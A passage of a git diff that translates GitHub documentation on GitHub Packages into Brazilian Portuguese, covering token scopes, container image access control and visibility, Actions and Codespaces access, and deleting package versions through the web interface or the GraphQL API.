+| `delete:packages`                                                                                                                                                                                                                                                                                                                                               |                                                                                       |                      |
+| {% ifversion fpt or ghes > 3.0 or ghec %} Excluir pacotes de {% data variables.product.prodname_registry %} {% elsif ghes < 3.1 %} Excluir versões especificadas de pacotes privados de {% data variables.product.prodname_registry %}{% elsif ghae %} Excluir versões especificadas de pacotes de {% data variables.product.prodname_registry %} {% endif %} |                                                                                       |                      |
+| administrador                                                                                                                                                                                                                                                                                                                                                   |                                                                                       |                      |
+| `repo`                                                                                                                                                                                                                                                                                                                                                          | Faça o upload e exclua os pacotes (junto com `write:packages` ou `delete:packages`)   | gravação ou admin    |
 
-When you create a {% data variables.product.prodname_actions %} workflow, you can use the `GITHUB_TOKEN` to publish and install packages in {% data variables.product.prodname_registry %} without needing to store and manage a personal access token.
+Ao criar um fluxo de trabalho de {% data variables.product.prodname_actions %}, você pode usar o `GITHUB_TOKEN` para publicar e instalar pacotes no {% data variables.product.prodname_registry %} sem precisar armazenar e gerenciar um token de acesso pessoal.
 
-For more information, see:{% ifversion fpt or ghec %}
-- "[Configuring a package’s access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)"{% endif %}
-- "[Publishing and installing a package with {% data variables.product.prodname_actions %}](/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions)"
-- "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token/)"
-- "[Available scopes](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)"
+Para mais informações, consulte:{% ifversion fpt or ghec %}
+- "[Configurar o controle de acesso e visibilidade de um pacote](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)"{% endif %}
+- "[Publicando e instalando um pacote com {% data variables.product.prodname_actions %}](/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions)"
+- "[Criar um token de acesso pessoal](/github/authenticating-to-github/creating-a-personal-access-token/)"
+- "[Escopos disponíveis](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)"
 
-## Maintaining access to packages in {% data variables.product.prodname_actions %} workflows
+## Mantendo acesso a pacotes nos fluxos de trabalho de {% data variables.product.prodname_actions %}
 
-To ensure your workflows will maintain access to your packages, ensure that you're using the right access token in your workflow and that you've enabled {% data variables.product.prodname_actions %} access to your package.
+Para garantir que seus workflows mantenham o acesso aos seus pacotes, certifique-se de que você esteja usando o token de acesso correto do seu fluxo de trabalho e que você habilitou o acesso do {% data variables.product.prodname_actions %} para o seu pacote.
 
-For more conceptual background on {% data variables.product.prodname_actions %} or examples of using packages in workflows, see "[Managing GitHub Packages using GitHub Actions workflows](/packages/managing-github-packages-using-github-actions-workflows)."
+Para obter um contexto mais conceitual sobre {% data variables.product.prodname_actions %} ou exemplos do uso de pacotes nos fluxos de trabalho, consulte "[Gerenciar o GitHub Packages usando fluxos de trabalho do GitHub Actions](/packages/managing-github-packages-using-github-actions-workflows)".
 
-### Access tokens  
+### Tokens de acesso
 
-- To publish packages associated with the workflow repository, use `GITHUB_TOKEN`.
-- To install packages associated with other private repositories that `GITHUB_TOKEN` can't access, use a personal access token
+- Para publicar pacotes associados ao repositório do fluxo de trabalho, use `GITHUB_TOKEN`.
+- Para instalar pacotes associados a outros repositórios privados que `GITHUB_TOKEN` não consegue acessar, use um token de acesso pessoal
 
-For more information about `GITHUB_TOKEN` used in {% data variables.product.prodname_actions %} workflows, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)."
+Para obter mais informações sobre `GITHUB_TOKEN` usado nos fluxos de trabalho de {% data variables.product.prodname_actions %}, consulte[Autenticação em um fluxo de trabalho](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)".
 
 {% ifversion fpt or ghec %}
-### {% data variables.product.prodname_actions %} access for container images
+### Acesso a {% data variables.product.prodname_actions %} para imagens de contêiner
 
-To ensure your workflows have access to your container image, you must enable {% data variables.product.prodname_actions %} access to the repositories where your workflow is run. You can find this setting on your package's settings page. For more information, see "[Ensuring workflow access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)."
+Para garantir que seus fluxos de trabalho tenham acesso à imagem do contêiner, você deve permitir o acesso do {% data variables.product.prodname_actions %} aos repositórios em que o seu fluxo de trabalho é executado. Você pode encontrar essa configuração na página de configurações do seu pacote. Para obter mais informações, consulte "[Garantir o acesso do fluxo de trabalho para o seu pacote](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)".
 
 {% endif %}
diff --git a/translations/pt-BR/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md b/translations/pt-BR/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md
index 293248895a..b0a56972e2 100644
--- a/translations/pt-BR/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md
+++ b/translations/pt-BR/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring a package's access control and visibility
-intro: 'Choose who has read, write, or admin access to your container image and the visibility of your container images on {% data variables.product.prodname_dotcom %}.'
+title: Configurando o controle de acesso e visibilidade de um pacote
+intro: 'Escolha quem tem acesso de leitura, gravação ou administrador à sua imagem de contêiner e a visibilidade das suas imagens de contêiner em {% data variables.product.prodname_dotcom %}.'
 product: '{% data reusables.gated-features.packages %}'
 redirect_from:
   - /packages/managing-container-images-with-github-container-registry/configuring-access-control-and-visibility-for-container-images
@@ -8,166 +8,152 @@ redirect_from:
 versions:
   fpt: '*'
   ghec: '*'
-shortTitle: Access control & visibility
+shortTitle: Controle de acesso & visibilidade
 ---
 
-Packages with granular permissions are scoped to a personal user or organization account. You can change the access control and visibility of a package separately from the repository that it is connected (or linked) to.
+Pacotes com permissões granulares são escopos para uma conta de usuário pessoal ou de organização. Você pode alterar o controle de acesso e a visibilidade de um pacote separadamente do repositório ao qual ele está conectado (ou vinculado).
 
-Currently, you can only use granular permissions with the {% data variables.product.prodname_container_registry %}. Granular permissions are not supported in our other package registries, such as the npm registry.
+Atualmente, você só pode usar permissões granulares com o {% data variables.product.prodname_container_registry %}. Permissões granulares não são compatíveis nos nossos outros registros de pacotes, como o registro npm.
 
-For more information about permissions for repository-scoped packages, packages-related scopes for PATs, or managing permissions for your actions workflows, see "[About permissions for GitHub Packages](/packages/learn-github-packages/about-permissions-for-github-packages)."
+Para obter mais informações sobre permissões para pacotes com escopo de repositório, escopos relacionados aos pacotes para PATs, ou gerenciar permissões para seus fluxos de trabalho de ações, consulte "[Sobre permissões para os Pacotes GitHub](/packages/learn-github-packages/about-permissions-for-github-packages)".
 
-## Visibility and access permissions for container images
+## Visibilidade e permissões de acesso para imagens de contêiner
 
 {% data reusables.package_registry.visibility-and-access-permissions %}
 
-## Configuring access to container images for your personal account
+## Configurar acesso a imagens de contêiner para sua conta pessoal
 
-If you have admin permissions to a container image that's owned by a user account, you can assign read, write, or admin roles to other users. For more information about these permission roles, see "[Visibility and access permissions for container images](#visibility-and-access-permissions-for-container-images)."
+Se você tiver permissões de administrador para uma imagem de contêiner que pertence a uma conta de usuário, você pode atribuir funções de leitura, gravação ou administração a outros usuários. Para obter mais informações sobre essas funções de permissão, consulte "[Visibilidade e permissões de acesso para imagens de contêiner](#visibility-and-access-permissions-for-container-images)".
 
-If your package is private or internal and owned by an organization, then you can only give access to other organization members or teams.
+Se o seu pacote for privado ou interno e pertencer a uma organização, você somente poderá dar acesso a outros integrantes ou equipes da organização.
 
 {% data reusables.package_registry.package-settings-from-user-level %}
-1. On the package settings page, click **Invite teams or people** and enter the name, username, or email of the person you want to give access. Teams cannot be given access to a container image owned by a user account.
-  ![Container access invite button](/assets/images/help/package-registry/container-access-invite.png)
-1. Next to the username or team name, use the "Role" drop-down menu to select a desired permission level.
-  ![Container access options](/assets/images/help/package-registry/container-access-control-options.png)
+1. Na página de configurações do pacote, clique em **Convidar equipes ou pessoas** e digite o nome, nome de usuário ou e-mail da pessoa à qual você deseja conceder acesso. As equipes não podem ter acesso a uma imagem de contêiner de uma conta de usuário. ![Botão de convite de acesso ao contêiner](/assets/images/help/package-registry/container-access-invite.png)
+1. Ao lado do nome de usuário ou nome de equipe, use o menu suspenso "Função" para selecionar um nível de permissão desejado. ![Opções de acesso ao contêiner](/assets/images/help/package-registry/container-access-control-options.png)
 
-The selected users will automatically be given access and don't need to accept an invitation first.
+Os usuários selecionados receberão acesso automaticamente e não precisarão aceitar um convite primeiro.
 
-## Configuring access to container images for an organization
+## Configurar o acesso a imagens de contêiner para uma organização
 
-If you have admin permissions to an organization-owned container image, you can assign read, write, or admin roles to other users and teams. For more information about these permission roles, see "[Visibility and access permissions for container images](#visibility-and-access-permissions-for-container-images)."
+Se você tiver permissões de administrador para uma imagem de contêiner pertencente à organização, pode atribuir funções de leitura, gravação ou administrador para outros usuários e equipes. Para obter mais informações sobre essas funções de permissão, consulte "[Visibilidade e permissões de acesso para imagens de contêiner](#visibility-and-access-permissions-for-container-images)".
 
-If your package is private or internal and owned by an organization, then you can only give access to other organization members or teams.
+Se o seu pacote for privado ou interno e pertencer a uma organização, você somente poderá dar acesso a outros integrantes ou equipes da organização.
 
 {% data reusables.package_registry.package-settings-from-org-level %}
-1. On the package settings page, click **Invite teams or people** and enter the name, username, or email of the person you want to give access. You can also enter a team name from the organization to give all team members access.
-  ![Container access invite button](/assets/images/help/package-registry/container-access-invite.png)
-1. Next to the username or team name, use the "Role" drop-down menu to select a desired permission level.
-  ![Container access options](/assets/images/help/package-registry/container-access-control-options.png)
+1. Na página de configurações do pacote, clique em **Convidar equipes ou pessoas** e digite o nome, nome de usuário ou e-mail da pessoa à qual você deseja conceder acesso. Você também pode inserir um nome de equipe da organização para dar acesso a todos os integrantes da equipe. ![Botão de convite de acesso ao contêiner](/assets/images/help/package-registry/container-access-invite.png)
+1. Ao lado do nome de usuário ou nome de equipe, use o menu suspenso "Função" para selecionar um nível de permissão desejado. ![Opções de acesso ao contêiner](/assets/images/help/package-registry/container-access-control-options.png)
 
-The selected users or teams will automatically be given access and don't need to accept an invitation first.
+Os usuários selecionados receberão acesso automaticamente e não precisarão aceitar um convite primeiro.
 
-## Inheriting access for a container image from a repository
+## Herdar acesso a uma imagem de contêiner de um repositório
 
-To simplify package management through {% data variables.product.prodname_actions %} workflows, you can enable a container image to inherit the access permissions of a repository by default.
+Para simplificar o gerenciamento de pacotes por meio dos fluxos de trabalho de {% data variables.product.prodname_actions %}, você pode habilitar uma imagem contêiner para herdar as permissões de acesso de um repositório por padrão.
 
-If you inherit the access permissions of the repository where your package's workflows are stored, then you can adjust access to your package through the repository's permissions.
+Se você herdar as permissões de acesso do repositório onde os fluxos de trabalho do seu pacote são armazenados, posteriormente, você poderá ajustar o acesso ao seu pacote pelas permissões do repositório.
 
-Once a repository is synced, you can't access the package's granular access settings. To customize the package's permissions through the granular package access settings, you must remove the synced repository first.
+Uma vez que um repositório é sincronizado, você não poderá acessar as configurações de acesso granular do pacote. Para personalizar as permissões do pacote através das configurações de acesso ao pacote granular, você deverá remover a sincronização do repositório primeiro.
 
 {% data reusables.package_registry.package-settings-from-org-level %}
-2. Under "Repository source", select **Inherit access from repository (recommended)**.
-  ![Inherit repo access checkbox](/assets/images/help/package-registry/inherit-repo-access-for-package.png)
+2. Em "Fonte do repositório", selecione **Herdar acesso do repositório (recomendado)**. ![Caixa de seleção herdar acesso do repositório](/assets/images/help/package-registry/inherit-repo-access-for-package.png)
 
-## Ensuring workflow access to your package
+## Garantir o acesso ao fluxo de trabalho para o seu pacote
 
-To ensure that a {% data variables.product.prodname_actions %} workflow has access to your package, you must give explicit access to the repository where the workflow is stored.
+Para garantir que um fluxo de trabalho do {% data variables.product.prodname_actions %} tenha acesso ao seu pacote, você deverá conceder acesso explícito ao repositório onde o fluxo de trabalho é armazenado.
 
-The specified repository does not need to be the repository where the source code for the package is kept. You can give multiple repositories workflow access to a package.
+O repositório especificado não precisa ser o repositório onde o código-fonte do pacote é mantido. Você pode conceder acesso ao fluxo de trabalho de vários repositórios para um pacote.
 
 {% note %}
 
-**Note:** Syncing your container image with a repository through the **Actions access** menu option is different than connecting your container to a repository. For more information about linking a repository to your container, see "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)."
+**Observação:** Sincronizar sua imagem de contêiner com um repositório por meio da opção de menu **Acesso de ações** é diferente de conectar seu contêiner a um repositório. Para obter mais informações sobre como vincular um repositório ao seu contêiner, consulte "[Conectar um repositório a um pacote](/packages/learn-github-packages/connecting-a-repository-to-a-package)".
 
 {% endnote %}
 
-### {% data variables.product.prodname_actions %} access for user-account-owned container images 
+### {% data variables.product.prodname_actions %} acesso para imagens de contêiner pertencentes ao usuário
 
 {% data reusables.package_registry.package-settings-from-user-level %}
-1. In the left sidebar, click **Actions access**.
-  !["Actions access" option in left menu](/assets/images/help/package-registry/organization-repo-access-for-a-package.png)
-2. To ensure your workflow has access to your container package, you must add the repository where the workflow is stored. Click **Add repository** and search for the repository you want to add.
-   !["Add repository" button](/assets/images/help/package-registry/add-repository-button.png)
-3. Using the "role" drop-down menu, select the default access level that you'd like the repository to have to your container image.
-  ![Permission access levels to give to repositories](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png)
+1. Na barra lateral esquerda, clique em **Acesso às ações**. ![Opção "Ações de acesso" no menu à esquerda](/assets/images/help/package-registry/organization-repo-access-for-a-package.png)
+2. Para garantir que seu fluxo de trabalho tenha acesso ao seu pacote de container, você deve adicionar o repositório em que o fluxo de trabalho é armazenado. Clique **Adicionar repositório** e pesquise o repositório que deseja adicionar. ![Botão "Adicionar repositório"](/assets/images/help/package-registry/add-repository-button.png)
+3. Ao usar o menu suspenso "função", selecione o nível de acesso padrão que você gostaria que o repositório tivesse na imagem do seu contêiner. ![Níveis de acesso permitidos para repositórios](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png)
 
-To further customize access to your container image, see "[Configuring access to container images for your personal account](#configuring-access-to-container-images-for-your-personal-account)."
+Para personalizar ainda mais o acesso à imagem do seu contêiner, consulte "[Configurando acesso a imagens de contêiner para sua conta pessoal](#configuring-access-to-container-images-for-your-personal-account)".
 
-### {% data variables.product.prodname_actions %} access for organization-owned container images 
+### acesso de {% data variables.product.prodname_actions %} para imagens de contêiner pertencentes à organização
 
 {% data reusables.package_registry.package-settings-from-org-level %}
-1. In the left sidebar, click **Actions access**.
-  !["Actions access" option in left menu](/assets/images/help/package-registry/organization-repo-access-for-a-package.png)
-2. Click **Add repository** and search for the repository you want to add.
-   !["Add repository" button](/assets/images/help/package-registry/add-repository-button.png)
-3. Using the "role" drop-down menu, select the default access level that you'd like repository members to have to your container image. Outside collaborators will not be included.
-  ![Permission access levels to give to repositories](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png)
+1. Na barra lateral esquerda, clique em **Acesso às ações**. ![Opção "Ações de acesso" no menu à esquerda](/assets/images/help/package-registry/organization-repo-access-for-a-package.png)
+2. Clique **Adicionar repositório** e pesquise o repositório que deseja adicionar. ![Botão "Adicionar repositório"](/assets/images/help/package-registry/add-repository-button.png)
+3. Usando o menu suspenso "função", selecione o nível de acesso padrão que você gostaria que os integrantes do repositório tivessem na sua imagem contêiner. Os colaboradores externos não serão incluídos. ![Níveis de acesso permitidos para repositórios](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png)
 
-To further customize access to your container image, see "[Configuring access to container images for an organization](#configuring-access-to-container-images-for-an-organization)."
+Para personalizar ainda mais o acesso à sua imagem de contêiner, consulte "[Configurar acesso a imagens de contêiner para uma organização](#configuring-access-to-container-images-for-an-organization)".
 
-## Ensuring {% data variables.product.prodname_codespaces %} access to your package
+## Assegurando acesso de {% data variables.product.prodname_codespaces %} ao seu pacote
 
-By default, a codespace can seamlessly access certain packages in the {% data variables.product.prodname_dotcom %} Container Registry, such as those published in the same repository with the **Inherit access** option selected. For more information on which access is automatically configured, see "[Accessing images stored in {% data variables.product.prodname_dotcom %} Container Registry](/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry#accessing-images-stored-in-github-container-registry)."
+Por padrão, um codespace pode acessar perfeitamente certos pacotes no Registro Contêiner de{% data variables.product.prodname_dotcom %} como, por exemplo, aqueles publicados no mesmo repositório com a opção **herdar acesso** selecionada. Para obter mais informações sobre o qual o acesso é automaticamente configurado, consulte "[Acessando imagens armazenadas no registro de contêiner de {% data variables.product.prodname_dotcom %}](/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry#accessing-images-stored-in-github-container-registry)".
 
-Otherwise, to ensure that a codespace has access to your package, you must grant access to the repository where the codespace is being launched.
+Caso contrário, para garantir que um código tenha acesso ao seu pacote, você deverá conceder acesso ao repositório onde o codespace está sendo iniciado.
 
-The specified repository does not need to be the repository where the source code for the package is kept. You can give codespaces in multiple repositories access to a package.
+O repositório especificado não precisa ser o repositório onde o código-fonte do pacote é mantido. Você pode dar acesso a codespaces em vários repositórios a um pacote.
 
-Once you've selected the package you're interested in sharing with codespaces in a repository, you can grant that repo access.
+Depois de selecionar o pacote que você está interessado em compartilhar com codespaces de um repositório, você poderá conceder esse acesso ao repositório.
 
-1. In the right sidebar, click **Package settings**.
+1. Na barra lateral direita, clique em **Configurações do pacote**.
 
-   !["Package settings" option in right menu](/assets/images/help/package-registry/package-settings.png)
-   
-2. Under "Manage Codespaces access", click **Add repository**.
+   ![Opção "Configurações do pacote" no menu à direita](/assets/images/help/package-registry/package-settings.png)
 
-   !["Add repository" button](/assets/images/help/package-registry/manage-codespaces-access-blank.png)
+2. Em "Gerenciar acesso dos codespaces", clique em **Adicionar repositório**.
 
-3. Search for the repository you want to add.
+   ![Botão "Adicionar repositório"](/assets/images/help/package-registry/manage-codespaces-access-blank.png)
 
-   !["Add repository" button](/assets/images/help/package-registry/manage-codespaces-access-search.png)
-   
-4. Repeat for any additional repositories you would like to allow access.
+3. Pesquise o repositório que você deseja adicionar.
 
-5. If the codespaces for a repository no longer need access to an image, you can remove access.
+   ![Botão "Adicionar repositório"](/assets/images/help/package-registry/manage-codespaces-access-search.png)
 
-   !["Remove repository" button](/assets/images/help/package-registry/manage-codespaces-access-item.png)
+4. Repita o procedimento para todos os repositórios adicionais que você gostaria de permitir o acesso.
 
-## Configuring visibility of container images for your personal account
+5. Se os codespaces de um repositório não precisarem mais acessar uma imagem, você poderá remover o acesso.
 
-When you first publish a package, the default visibility is private and only you can see the package. You can modify a private or public container image's access by changing the access settings.
+   ![Botão "Remover repositório"](/assets/images/help/package-registry/manage-codespaces-access-item.png)
 
-A public package can be accessed anonymously without authentication. Once you make your package public, you cannot make your package private again.
+## Configurar a visibilidade de imagens de contêiner para sua conta pessoal
+
+Ao publicar um pacote, a visibilidade-padrão é privada e só você poderá ver o pacote. Você pode modificar o acesso de uma imagem do contêiner privada ou pública, alterando as configurações de acesso.
+
+Um pacote público pode ser acessado anonimamente sem autenticação. Uma vez que você torna público o seu pacote, mas você não poderá tornar o seu pacote privado novamente.
 
 {% data reusables.package_registry.package-settings-from-user-level %}
-5. Under "Danger Zone", choose a visibility setting:
-    - To make the container image visible to anyone, click **Make public**.
+5. Em "Zona de Perigo", escolha uma configuração de visibilidade:
+    - Para tornar a imagem do contêiner visível para qualquer pessoa, clique em **Tornar pública**.
     {% warning %}
 
-    **Warning:** Once you make a package public, you cannot make it private again.
+    **Aviso:** Depois de tornar um pacote público, você não poderá torná-lo privado novamente.
 
     {% endwarning %}
-    - To make the container image visible to a custom selection of people, click **Make private**.
-  ![Container visibility options](/assets/images/help/package-registry/container-visibility-option.png)
+    - Para tornar a imagem do contêiner visível para uma seleção personalizada de pessoas, clique em **Tornar privada**. ![Opções de visibilidade do contêiner](/assets/images/help/package-registry/container-visibility-option.png)
 
-## Container creation visibility for organization members
+## Visibilidade da criação de contêiner para os integrantes da organização
 
-You can choose the visibility of containers that organization members can publish by default.
+Você pode escolher a visibilidade de contêineres que os integrantes da organização podem publicar por padrão.
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
-4. On the left, click **Packages**.
-6. Under "Container creation", choose whether you want to enable the creation of public, private, or internal container images.
-    - To enable organization members to create public container images, click **Public**.
-    - To enable organization members to create private container images that are only visible to other organization members, click **Private**. You can further customize the visibility of private container images.
-    - To enable organization members to create internal container images that are visible to all organization members, click **Internal**. If the organization belongs to an enterprise, the container images will be visible to all enterprise members.
-    ![Visibility options for container images published by organization members](/assets/images/help/package-registry/container-creation-org-settings.png)
+4. À esquerda, clique em **Pacotes**.
+6. Em "Criação de contêiner", escolha se deseja permitir a criação de imagens públicas, privadas ou internas de contêineres.
+    - Para permitir que os integrantes da organização criem imagens de contêiner público, clique em **Público**.
+    - Para permitir que os integrantes da organização criem imagens privadas de contêiner visíveis apenas para outros integrantes da organização, clique em **Privado**. Você pode personalizar ainda mais a visibilidade de imagens de contêiner privado.
+    - Para permitir que os integrantes da organização criem imagens internas de contêiner que são visíveis para todos os integrantes da organização, clique em **Interno**. Se a organização pertencer a uma empresa, as imagens de contêiner ficarão visíveis para todos os integrantes da empresa. ![Opções de visibilidade para imagens de contêiner publicadas por integrantes da organização](/assets/images/help/package-registry/container-creation-org-settings.png)
 
-## Configuring visibility of container images for an organization
+## Configurar a visibilidade de imagens de contêiner para uma organização
 
-When you first publish a package, the default visibility is private and only you can see the package. You can grant users or teams different access roles for your container image through the access settings.
+Ao publicar um pacote, a visibilidade-padrão é privada e só você poderá ver o pacote. Você pode conceder a usuários ou equipes diferentes funções de acesso para sua imagem de contêiner por meio das configurações de acesso.
 
-A public package can be accessed anonymously without authentication. Once you make your package public, you cannot make your package private again.
+Um pacote público pode ser acessado anonimamente sem autenticação. Uma vez que você torna público o seu pacote, mas você não poderá tornar o seu pacote privado novamente.
 
 {% data reusables.package_registry.package-settings-from-org-level %}
-5. Under "Danger Zone", choose a visibility setting:
-    - To make the container image visible to anyone, click **Make public**.
+5. Em "Zona de Perigo", escolha uma configuração de visibilidade:
+    - Para tornar a imagem do contêiner visível para qualquer pessoa, clique em **Tornar pública**.
     {% warning %}
 
-    **Warning:** Once you make a package public, you cannot make it private again.
+    **Aviso:** Depois de tornar um pacote público, você não poderá torná-lo privado novamente.
 
     {% endwarning %}
-    - To make the container image visible to a custom selection of people, click **Make private**.
-  ![Container visibility options](/assets/images/help/package-registry/container-visibility-option.png)
+    - Para tornar a imagem do contêiner visível para uma seleção personalizada de pessoas, clique em **Tornar privada**. ![Opções de visibilidade do contêiner](/assets/images/help/package-registry/container-visibility-option.png)
diff --git a/translations/pt-BR/content/packages/learn-github-packages/deleting-a-package.md b/translations/pt-BR/content/packages/learn-github-packages/deleting-a-package.md
index b1e3ac1230..a6434bc05d 100644
--- a/translations/pt-BR/content/packages/learn-github-packages/deleting-a-package.md
+++ b/translations/pt-BR/content/packages/learn-github-packages/deleting-a-package.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting a package
-intro: 'You can delete a version of a {% ifversion not ghae %}private{% endif %} package using GraphQL or on {% data variables.product.product_name %}.'
+title: Excluir um pacote
+intro: 'Você pode excluir a versão de um {% ifversion not ghae %}privado{% endif %} pacote usando GraphQL ou em {% data variables.product.product_name %}.'
 product: '{% data reusables.gated-features.packages %}'
 versions:
   ghes: '>=2.22 <3.1'
@@ -9,30 +9,26 @@ versions:
 {% data reusables.package_registry.packages-ghes-release-stage %}
 {% data reusables.package_registry.packages-ghae-release-stage %}
 
-{% ifversion not ghae %}At this time, {% data variables.product.prodname_registry %} on {% data variables.product.product_location %} does not support deleting public packages.{% endif %}
+{% ifversion not ghae %}No momento, {% data variables.product.prodname_registry %} em {% data variables.product.product_location %} não é compatível com a exclusão de pacotes públicos.{% endif %}
 
-You can only delete a specified version of a {% ifversion not ghae %}private {% endif %}package on {% data variables.product.product_name %} or with the GraphQL API. To remove an entire {% ifversion not ghae %}private {% endif %}package from appearing on {% data variables.product.product_name %}, you must delete every version of the package first.
+Você só pode excluir uma versão específica de um pacote {% ifversion not ghae %}privado {% endif %}em {% data variables.product.product_name %} ou com a API do GraphQL. Para remover todo um pacote {% ifversion not ghae %}privado {% endif %}que aparece em {% data variables.product.product_name %}, você precisa excluir todas as versões do pacote primeiro.
 
-## Deleting a version of a {% ifversion not ghae %}private {% endif %}package on {% data variables.product.product_name %}
+## Excluir uma versão de um pacote {% ifversion not ghae %}privado {% endif %}em {% data variables.product.product_name %}
 
-To delete a {% ifversion not ghae %}private {% endif %}package version, you must have admin permissions in the repository.
+Para excluir uma {% ifversion not ghae %}versão do pacote privado {% endif %}, é necessário ter permissões de administrador no repositório.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.package_registry.packages-from-code-tab %}
-3. Click the name of the package that you want to delete.
-  ![Package name](/assets/images/help/package-registry/select-pkg-cloud.png)
-4. On the right, use the **Edit package** drop-down and select "Manage versions".
-  ![Package name](/assets/images/help/package-registry/manage-versions.png)
-5. To the right of the version you want to delete, click **Delete**.
-  ![Delete package button](/assets/images/help/package-registry/delete-package-button.png)
-6. To confirm deletion, type the package name and click **I understand the consequences, delete this version**.
-  ![Confirm package deletion button](/assets/images/help/package-registry/confirm-package-deletion.png)
+3. Clique no nome do pacote que você deseja excluir. ![Nome do pacote](/assets/images/help/package-registry/select-pkg-cloud.png)
+4. À direita, use o menu suspenso **Editar pacote** e selecione "Gerenciar versões". ![Nome do pacote](/assets/images/help/package-registry/manage-versions.png)
+5. À direita da versão que você deseja excluir, clique em **Excluir**. ![Botão de excluir pacote](/assets/images/help/package-registry/delete-package-button.png)
+6. Para confirmar a exclusão, digite o nome do pacote e clique em **Eu entendo as consequências. Exclua esta versão**. ![Botão de confirmar exclusão de pacote](/assets/images/help/package-registry/confirm-package-deletion.png)
 
-## Deleting a version of a {% ifversion not ghae %}private {% endif %}package with GraphQL
+## Excluindo uma versão de um {% ifversion not ghae %}pacote privado {% endif %}com o GraphQL
 
-Use the `deletePackageVersion` mutation in the GraphQL API. You must use a token with the `read:packages`, `delete:packages`, and `repo` scopes. For more information about tokens, see "[About {% data variables.product.prodname_registry %}](/packages/publishing-and-managing-packages/about-github-packages#authenticating-to-github-packages)." 
+Use a mutação `deletePackageVersion` na API do GraphQL. Você deve usar um token com os escopos `read:packages`, `delete:packages` e `repo`. For more information about tokens, see "[About {% data variables.product.prodname_registry %}](/packages/publishing-and-managing-packages/about-github-packages#about-tokens)."
 
-Here is an example cURL command to delete a package version with the package version ID of `MDIyOlJlZ2lzdHJ5UGFja2FnZVZlcnNpb243MTExNg`, using a personal access token.
+Aqui está um exemplo de comando cURL para excluir uma versão de pacote com o ID de versão do pacote `MDIyOlJlZ2lzdHJ5UGFja2FnZVZlcnNpb243MTExNg`, usando um token de acesso pessoal.
 
 ```shell
 curl -X POST \
@@ -42,8 +38,8 @@ curl -X POST \
 HOSTNAME/graphql
 ```
 
-To find all of the {% ifversion not ghae %}private {% endif %}packages you have published to {% data variables.product.prodname_registry %}, along with the version IDs for the packages, you can use the `packages` connection through the `repository` object. You will need a token with the `read:packages` and `repo` scopes. For more information, see the [`packages`](/graphql/reference/objects#repository) connection or the [`PackageOwner`](/graphql/reference/interfaces#packageowner) interface.
+Para encontrar todos os pacotes {% ifversion not ghae %}privados {% endif %}que você publicou em {% data variables.product.prodname_registry %}, junto com os IDs de versões dos pacotes, você pode usar a conexão de `pacotes` por meio do objeto `repositório`. Você vai precisar de um token com os escopos `read:packages` e `repo`. You will need a token with the `read:packages` and `repo` scopes.
 
-For more information about the `deletePackageVersion` mutation, see "[`deletePackageVersion`](/graphql/reference/mutations#deletepackageversion)."
+Para obter mais informações sobre a mutação `deletePackageVersion`, consulte "[`deletePackageVersion`](/graphql/reference/mutations#deletepackageversion)".
 
-You cannot delete an entire package, but if you delete every version of a package, the package will no longer show on {% data variables.product.product_name %}.
+Você não pode excluir um pacote inteiro, mas se excluir todas as versões de um pacote, o pacote não será mais exibido em {% data variables.product.product_name %}.
diff --git a/translations/pt-BR/content/packages/learn-github-packages/deleting-and-restoring-a-package.md b/translations/pt-BR/content/packages/learn-github-packages/deleting-and-restoring-a-package.md
index 26d0725a9b..2e3145d5c5 100644
--- a/translations/pt-BR/content/packages/learn-github-packages/deleting-and-restoring-a-package.md
+++ b/translations/pt-BR/content/packages/learn-github-packages/deleting-and-restoring-a-package.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting and restoring a package
-intro: Learn how to delete or restore a package.
+title: Excluir e restaurar um pacote
+intro: Saiba como excluir ou restaurar um pacote.
 product: '{% data reusables.gated-features.packages %}'
 redirect_from:
   - /github/managing-packages-with-github-packages/deleting-a-package
@@ -12,37 +12,37 @@ versions:
   ghes: '>=3.1'
   ghec: '*'
   ghae: '*'
-shortTitle: Delete & restore a package
+shortTitle: Excluir & restaurar um pacote
 ---
 
 {% data reusables.package_registry.packages-ghes-release-stage %}
 
-## Package deletion and restoration support on {% data variables.product.prodname_dotcom %}
+## Exclusão de pacote e suporte de restauração em {% data variables.product.prodname_dotcom %}
 
-On {% data variables.product.prodname_dotcom %} if you have the required access, you can delete:
-- an entire private package
-- an entire public package, if there's not more than 5000 downloads of any version of the package
-- a specific version of a private package
-- a specific version of a public package, if the package version doesn't have more than 5000 downloads
+Em {% data variables.product.prodname_dotcom %} se você tiver o acesso necessário, você poderá excluir:
+- um pacote privado inteiro
+- um pacote público inteiro, se não houver mais de 5000 downloads de qualquer versão do pacote
+- uma versão específica de um pacote privado
+- uma versão específica de um pacote público, se a versão do pacote não tiver mais de 5000 downloads
 
 {% note %}
 
-**Note:** 
